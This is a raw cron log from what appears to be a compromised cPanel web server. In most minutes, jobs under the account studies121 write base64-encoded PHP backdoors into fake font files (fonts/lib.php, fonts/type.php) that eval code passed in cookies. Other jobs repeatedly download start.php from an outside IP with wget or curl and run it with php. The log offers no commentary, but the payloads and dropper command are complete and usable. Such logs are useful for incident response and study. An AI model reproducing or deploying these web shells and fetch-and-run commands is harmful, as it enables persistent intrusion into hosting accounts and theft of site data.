Sep  9 03:22:01 ip-184-168-122-23 CROND[2247]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:22:01 ip-184-168-122-23 CROND[2249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:23:01 ip-184-168-122-23 CROND[2429]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:23:01 ip-184-168-122-23 CROND[2431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:23:01 ip-184-168-122-23 CROND[2430]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:23:01 ip-184-168-122-23 CROND[2432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:24:01 ip-184-168-122-23 CROND[2568]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:24:01 ip-184-168-122-23 CROND[2573]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:24:01 ip-184-168-122-23 CROND[2570]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:24:01 ip-184-168-122-23 CROND[2571]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 03:24:01 ip-184-168-122-23 CROND[2572]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:25:01 ip-184-168-122-23 CROND[2666]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 03:25:01 ip-184-168-122-23 CROND[2668]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:25:01 ip-184-168-122-23 CROND[2669]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:25:01 ip-184-168-122-23 CROND[2672]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 03:25:01 ip-184-168-122-23 CROND[2671]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:25:01 ip-184-168-122-23 CROND[2674]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:26:01 ip-184-168-122-23 CROND[2753]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:26:01 ip-184-168-122-23 CROND[2754]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:26:01 ip-184-168-122-23 CROND[2756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:26:01 ip-184-168-122-23 CROND[2757]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 03:26:01 ip-184-168-122-23 CROND[2759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:27:01 ip-184-168-122-23 CROND[2862]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/nightly_gzip)
Sep  9 03:27:02 ip-184-168-122-23 CROND[2865]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:27:02 ip-184-168-122-23 CROND[2866]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:27:02 ip-184-168-122-23 CROND[2864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:27:02 ip-184-168-122-23 CROND[2867]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:28:01 ip-184-168-122-23 CROND[3052]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:28:01 ip-184-168-122-23 CROND[3056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:28:01 ip-184-168-122-23 CROND[3054]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 03:28:01 ip-184-168-122-23 CROND[3055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:28:01 ip-184-168-122-23 CROND[3057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:29:01 ip-184-168-122-23 CROND[3165]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:29:01 ip-184-168-122-23 CROND[3163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:29:01 ip-184-168-122-23 CROND[3164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:29:01 ip-184-168-122-23 CROND[3166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:30:01 ip-184-168-122-23 anacron[32389]: Job `cron.daily' started
Sep  9 03:30:01 ip-184-168-122-23 run-parts(/etc/cron.daily)[3267]: starting logrotate
Sep  9 03:30:01 ip-184-168-122-23 CROND[3290]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 03:30:01 ip-184-168-122-23 CROND[3293]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:30:01 ip-184-168-122-23 CROND[3295]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 03:30:01 ip-184-168-122-23 CROND[3297]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 03:30:01 ip-184-168-122-23 CROND[3298]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:30:01 ip-184-168-122-23 CROND[3301]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 03:30:01 ip-184-168-122-23 CROND[3302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:30:01 ip-184-168-122-23 CROND[3303]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:30:02 ip-184-168-122-23 run-parts(/etc/cron.daily)[3331]: finished logrotate
Sep  9 03:30:02 ip-184-168-122-23 run-parts(/etc/cron.daily)[3267]: starting man-db.cron
Sep  9 03:30:02 ip-184-168-122-23 run-parts(/etc/cron.daily)[3343]: finished man-db.cron
Sep  9 03:30:02 ip-184-168-122-23 anacron[32389]: Job `cron.daily' terminated
Sep  9 03:30:02 ip-184-168-122-23 anacron[32389]: Normal exit (1 job run)
Sep  9 03:31:01 ip-184-168-122-23 CROND[3439]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:31:01 ip-184-168-122-23 CROND[3444]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 03:31:02 ip-184-168-122-23 CROND[3443]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:31:02 ip-184-168-122-23 CROND[3445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:31:02 ip-184-168-122-23 CROND[3446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:32:01 ip-184-168-122-23 CROND[3593]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 03:32:01 ip-184-168-122-23 CROND[3595]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:32:01 ip-184-168-122-23 CROND[3596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:32:01 ip-184-168-122-23 CROND[3597]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:32:01 ip-184-168-122-23 CROND[3599]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:33:01 ip-184-168-122-23 CROND[3701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 03:33:01 ip-184-168-122-23 CROND[3702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:33:01 ip-184-168-122-23 CROND[3703]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:33:01 ip-184-168-122-23 CROND[3700]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 03:34:01 ip-184-168-122-23 CROND[3882]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 03:34:01 ip-184-168-122-23 CROND[3884]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 03:34:01 ip-184-168-122-23 CROND[3885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:34:01 ip-184-168-122-23 CROND[3886]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
